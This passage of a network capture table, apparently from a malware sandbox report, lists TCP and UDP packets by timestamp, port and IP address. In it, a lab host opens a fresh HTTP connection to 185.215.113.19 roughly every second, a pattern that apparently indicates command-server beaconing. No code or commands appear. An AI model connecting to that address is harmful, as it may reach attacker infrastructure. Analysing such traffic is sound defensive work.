Sep 1, 2024 05:09:42.597940922 CEST	52616	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:42.602780104 CEST	80	52616	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:43.006108046 CEST	443	52615	152.195.19.97	192.168.2.4
Sep 1, 2024 05:09:43.006443024 CEST	52615	443	192.168.2.4	152.195.19.97
Sep 1, 2024 05:09:43.006462097 CEST	443	52615	152.195.19.97	192.168.2.4
Sep 1, 2024 05:09:43.007411957 CEST	443	52615	152.195.19.97	192.168.2.4
Sep 1, 2024 05:09:43.007477045 CEST	52615	443	192.168.2.4	152.195.19.97
Sep 1, 2024 05:09:43.008554935 CEST	52615	443	192.168.2.4	152.195.19.97
Sep 1, 2024 05:09:43.008601904 CEST	443	52615	152.195.19.97	192.168.2.4
Sep 1, 2024 05:09:43.008850098 CEST	52615	443	192.168.2.4	152.195.19.97
Sep 1, 2024 05:09:43.008855104 CEST	443	52615	152.195.19.97	192.168.2.4
Sep 1, 2024 05:09:43.107438087 CEST	52615	443	192.168.2.4	152.195.19.97
Sep 1, 2024 05:09:43.107454062 CEST	443	52615	152.195.19.97	192.168.2.4
Sep 1, 2024 05:09:43.107639074 CEST	443	52615	152.195.19.97	192.168.2.4
Sep 1, 2024 05:09:43.107661963 CEST	443	52615	152.195.19.97	192.168.2.4
Sep 1, 2024 05:09:43.107750893 CEST	443	52615	152.195.19.97	192.168.2.4
Sep 1, 2024 05:09:43.107779026 CEST	52615	443	192.168.2.4	152.195.19.97
Sep 1, 2024 05:09:43.107796907 CEST	443	52615	152.195.19.97	192.168.2.4
Sep 1, 2024 05:09:43.107820988 CEST	443	52615	152.195.19.97	192.168.2.4
Sep 1, 2024 05:09:43.107831001 CEST	52615	443	192.168.2.4	152.195.19.97
Sep 1, 2024 05:09:43.107842922 CEST	52615	443	192.168.2.4	152.195.19.97
Sep 1, 2024 05:09:43.107857943 CEST	52615	443	192.168.2.4	152.195.19.97
Sep 1, 2024 05:09:43.109361887 CEST	52615	443	192.168.2.4	152.195.19.97
Sep 1, 2024 05:09:43.109375954 CEST	443	52615	152.195.19.97	192.168.2.4
Sep 1, 2024 05:09:43.351835012 CEST	80	52616	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:43.351914883 CEST	52616	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:43.354832888 CEST	52616	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:43.359641075 CEST	80	52616	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:43.391987085 CEST	52617	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.392045021 CEST	443	52617	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.392339945 CEST	52618	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.392348051 CEST	443	52618	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.392426968 CEST	52617	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.392652035 CEST	52618	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.394016027 CEST	52618	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.394032001 CEST	443	52618	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.394150972 CEST	52617	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.394161940 CEST	443	52617	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.394439936 CEST	52619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.394471884 CEST	443	52619	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.394627094 CEST	52620	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.394634962 CEST	443	52620	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.394701958 CEST	52619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.394705057 CEST	52620	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.394884109 CEST	52619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.394896030 CEST	443	52619	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.395009041 CEST	52620	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.395026922 CEST	443	52620	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.647969007 CEST	80	52616	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:43.648046017 CEST	52616	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:43.762502909 CEST	52616	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:43.762926102 CEST	52621	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:43.769150019 CEST	80	52616	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:43.769233942 CEST	52616	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:43.769437075 CEST	80	52621	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:43.769500971 CEST	52621	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:43.769864082 CEST	52621	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:43.776412010 CEST	80	52621	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:43.843725920 CEST	443	52618	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.845582008 CEST	52618	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.845611095 CEST	443	52618	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.845978022 CEST	443	52618	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.846532106 CEST	52618	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.846600056 CEST	443	52618	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.847733021 CEST	443	52619	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.848087072 CEST	52619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.848107100 CEST	443	52619	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.848418951 CEST	443	52619	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.848870993 CEST	52619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.848927021 CEST	443	52619	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.866425037 CEST	443	52617	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.869280100 CEST	52617	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.869290113 CEST	443	52617	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.869605064 CEST	443	52617	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.870981932 CEST	52617	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.871048927 CEST	443	52617	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.875483990 CEST	443	52620	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.875664949 CEST	52620	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.875672102 CEST	443	52620	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.875986099 CEST	443	52620	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.876367092 CEST	52620	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:43.876424074 CEST	443	52620	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:43.896524906 CEST	52619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:44.005927086 CEST	52618	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:44.006407022 CEST	52617	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:44.006407022 CEST	52620	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:44.529767036 CEST	80	52621	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:44.529829025 CEST	52621	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:44.530560017 CEST	52621	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:44.535336018 CEST	80	52621	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:44.784271955 CEST	80	52621	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:44.784332991 CEST	52621	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:44.897250891 CEST	52621	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:44.897665977 CEST	52624	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:44.902509928 CEST	80	52624	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:44.902520895 CEST	80	52621	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:44.902596951 CEST	52621	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:44.902599096 CEST	52624	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:44.902895927 CEST	52624	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:44.910299063 CEST	80	52624	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:45.645256996 CEST	80	52624	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:45.645343065 CEST	52624	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:45.646025896 CEST	52624	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:45.651643991 CEST	80	52624	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:45.893301010 CEST	80	52624	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:45.893362045 CEST	52624	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:46.022469044 CEST	52624	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:46.022794962 CEST	52625	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:46.027548075 CEST	80	52625	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:46.027616978 CEST	52625	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:46.027703047 CEST	80	52624	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:46.027770042 CEST	52625	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:46.027842045 CEST	52624	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:46.032511950 CEST	80	52625	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:46.793823957 CEST	80	52625	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:46.793939114 CEST	52625	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:46.797888994 CEST	52625	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:46.802730083 CEST	80	52625	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:47.048810959 CEST	80	52625	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:47.048882008 CEST	52625	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:47.154273033 CEST	52625	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:47.154637098 CEST	52626	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:47.159331083 CEST	80	52625	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:47.159365892 CEST	80	52626	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:47.159396887 CEST	52625	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:47.159446955 CEST	52626	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:47.159539938 CEST	52626	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:47.164280891 CEST	80	52626	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:47.900027037 CEST	80	52626	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:47.900103092 CEST	52626	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:47.902829885 CEST	52626	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:47.907692909 CEST	80	52626	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:48.148216963 CEST	80	52626	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:48.148268938 CEST	52626	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:48.257153034 CEST	52626	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:48.257486105 CEST	52627	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:48.262309074 CEST	80	52627	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:48.262387991 CEST	80	52626	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:48.262433052 CEST	52627	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:48.262459040 CEST	52626	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:48.262603998 CEST	52627	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:48.267379999 CEST	80	52627	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:49.029122114 CEST	80	52627	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:49.029198885 CEST	52627	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:49.030033112 CEST	52627	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:49.034898043 CEST	80	52627	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:49.282227993 CEST	80	52627	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:49.282298088 CEST	52627	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:49.384289980 CEST	52627	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:49.384608030 CEST	52628	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:49.390191078 CEST	80	52628	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:49.390260935 CEST	52628	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:49.390368938 CEST	80	52627	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:49.390418053 CEST	52627	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:49.390630960 CEST	52628	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:49.395575047 CEST	80	52628	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:50.127928019 CEST	80	52628	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:50.128091097 CEST	52628	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:50.128680944 CEST	52628	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:50.133469105 CEST	80	52628	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:50.373645067 CEST	80	52628	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:50.373811960 CEST	52628	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:50.476430893 CEST	52628	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:50.476648092 CEST	52629	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:50.481498003 CEST	80	52629	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:50.481570005 CEST	52629	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:50.481762886 CEST	80	52628	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:50.481796980 CEST	52629	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:50.481847048 CEST	52628	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:50.486601114 CEST	80	52629	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:51.237595081 CEST	80	52629	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:51.237667084 CEST	52629	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:51.241504908 CEST	52629	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:51.246500015 CEST	80	52629	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:51.489869118 CEST	80	52629	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:51.489979982 CEST	52629	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:51.602875948 CEST	52629	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:51.603226900 CEST	52630	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:51.608076096 CEST	80	52630	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:51.608319044 CEST	80	52629	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:51.608387947 CEST	52629	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:51.608447075 CEST	52630	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:51.608688116 CEST	52630	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:51.613437891 CEST	80	52630	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:52.347203016 CEST	80	52630	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:52.347264051 CEST	52630	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:52.348011017 CEST	52630	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:52.352796078 CEST	80	52630	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:52.593759060 CEST	80	52630	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:52.593822956 CEST	52630	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:52.696985006 CEST	52630	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:52.697386980 CEST	52631	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:52.702228069 CEST	80	52631	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:52.702290058 CEST	52631	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:52.702475071 CEST	52631	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:52.702512026 CEST	80	52630	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:52.702560902 CEST	52630	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:52.707212925 CEST	80	52631	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:53.443703890 CEST	80	52631	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:53.443802118 CEST	52631	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:53.444408894 CEST	52631	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:53.449197054 CEST	80	52631	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:53.692747116 CEST	80	52631	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:53.692838907 CEST	52631	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:53.804187059 CEST	52632	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:53.804187059 CEST	52631	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:53.811032057 CEST	80	52632	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:53.811244965 CEST	52632	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:53.811244965 CEST	52632	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:53.811450005 CEST	80	52631	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:53.811573029 CEST	52631	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:53.818006039 CEST	80	52632	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:54.568696022 CEST	80	52632	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:54.568752050 CEST	52632	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:54.569421053 CEST	52632	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:54.574480057 CEST	80	52632	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:54.818954945 CEST	80	52632	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:54.819015026 CEST	52632	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:54.930922031 CEST	52632	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:54.931240082 CEST	52633	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:54.936162949 CEST	80	52633	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:54.936184883 CEST	80	52632	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:54.936228037 CEST	52633	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:54.936346054 CEST	52632	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:54.936496973 CEST	52633	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:54.941301107 CEST	80	52633	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:55.896725893 CEST	80	52633	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:55.897242069 CEST	52633	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:55.912062883 CEST	52633	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:55.916965961 CEST	80	52633	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:56.162134886 CEST	80	52633	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:56.162192106 CEST	52633	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:56.272795916 CEST	52633	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:56.273122072 CEST	52634	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:56.277894020 CEST	80	52634	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:56.277961969 CEST	52634	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:56.278131962 CEST	52634	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:56.278371096 CEST	80	52633	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:56.278450966 CEST	52633	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:56.288393021 CEST	80	52634	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:57.059730053 CEST	80	52634	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:57.059779882 CEST	52634	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:57.060463905 CEST	52634	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:57.065331936 CEST	80	52634	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:57.313087940 CEST	80	52634	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:57.313142061 CEST	52634	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:57.416347980 CEST	52634	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:57.416728020 CEST	52635	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:57.421552896 CEST	80	52634	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:57.421565056 CEST	80	52635	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:57.421628952 CEST	52634	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:57.421655893 CEST	52635	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:57.421796083 CEST	52635	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:57.426522970 CEST	80	52635	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:58.158852100 CEST	80	52635	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:58.158921003 CEST	52635	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:58.159596920 CEST	52635	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:58.164345980 CEST	80	52635	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:58.405323029 CEST	80	52635	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:58.405373096 CEST	52635	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:58.518132925 CEST	52635	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:58.518459082 CEST	52636	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:58.523257017 CEST	80	52636	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:58.523323059 CEST	52636	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:58.523329020 CEST	80	52635	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:58.523376942 CEST	52635	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:58.524883986 CEST	52636	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:58.529684067 CEST	80	52636	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:58.755532980 CEST	443	52618	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:58.755597115 CEST	443	52618	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:58.755686045 CEST	52618	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:58.760348082 CEST	443	52619	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:58.760412931 CEST	443	52619	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:58.760624886 CEST	52619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:58.772875071 CEST	443	52617	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:58.772923946 CEST	443	52617	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:58.772995949 CEST	52617	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:58.781815052 CEST	443	52620	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:58.781867981 CEST	443	52620	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:58.781903982 CEST	52620	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:59.259109020 CEST	80	52636	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:59.259205103 CEST	52636	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:59.259856939 CEST	52636	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:59.264615059 CEST	80	52636	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:59.655118942 CEST	80	52636	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:59.655324936 CEST	52636	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:59.757998943 CEST	52636	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:59.758219004 CEST	52637	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:59.864917994 CEST	80	52636	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:59.864990950 CEST	80	52637	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:59.865115881 CEST	52637	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:59.865118027 CEST	52636	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:59.865139008 CEST	80	52636	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:59.865186930 CEST	52636	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:59.865294933 CEST	52637	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:59.870047092 CEST	80	52637	185.215.113.19	192.168.2.4
Sep 1, 2024 05:10:00.628810883 CEST	80	52637	185.215.113.19	192.168.2.4
Sep 1, 2024 05:10:00.628880978 CEST	52637	80	192.168.2.4	185.215.113.19

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 1, 2024 05:08:21.091536045 CEST	138	138	192.168.2.4	192.168.2.255
Sep 1, 2024 05:09:18.780941963 CEST	53	55566	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:19.783493996 CEST	57155	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:19.783673048 CEST	49784	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:21.150726080 CEST	53	54393	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:21.166707039 CEST	53	57081	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:23.241470098 CEST	54377	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:23.241821051 CEST	61531	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:23.242381096 CEST	62379	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:23.242671967 CEST	62567	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:23.243072987 CEST	53315	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:23.243252039 CEST	51042	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:23.243872881 CEST	49732	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:23.244051933 CEST	55354	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:23.248019934 CEST	53	54377	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:23.248354912 CEST	53	61531	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:23.248950958 CEST	53	62379	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:23.249121904 CEST	53	62567	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:23.249711990 CEST	53	51042	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:23.249748945 CEST	53	53315	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:23.250307083 CEST	53	49732	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:23.250713110 CEST	53	55354	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:23.310065985 CEST	63064	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:23.310283899 CEST	61525	53	192.168.2.4	1.1.1.1
Sep 1, 2024 05:09:23.316474915 CEST	53	63064	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:23.316896915 CEST	53	61525	1.1.1.1	192.168.2.4
Sep 1, 2024 05:09:24.651145935 CEST	54564	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:24.959678888 CEST	54564	443	192.168.2.4	172.64.41.3
Sep 1, 2024 05:09:25.109709978 CEST	443	54564	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.109724998 CEST	443	54564	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.109735966 CEST	443	54564	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.109777927 CEST	443	54564	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.109786987 CEST	443	54564	172.64.41.3	192.168.2.4
Sep 1, 2024 05:09:25.110347986 CEST	54564	443	192.168.2.4	172.64.41.3
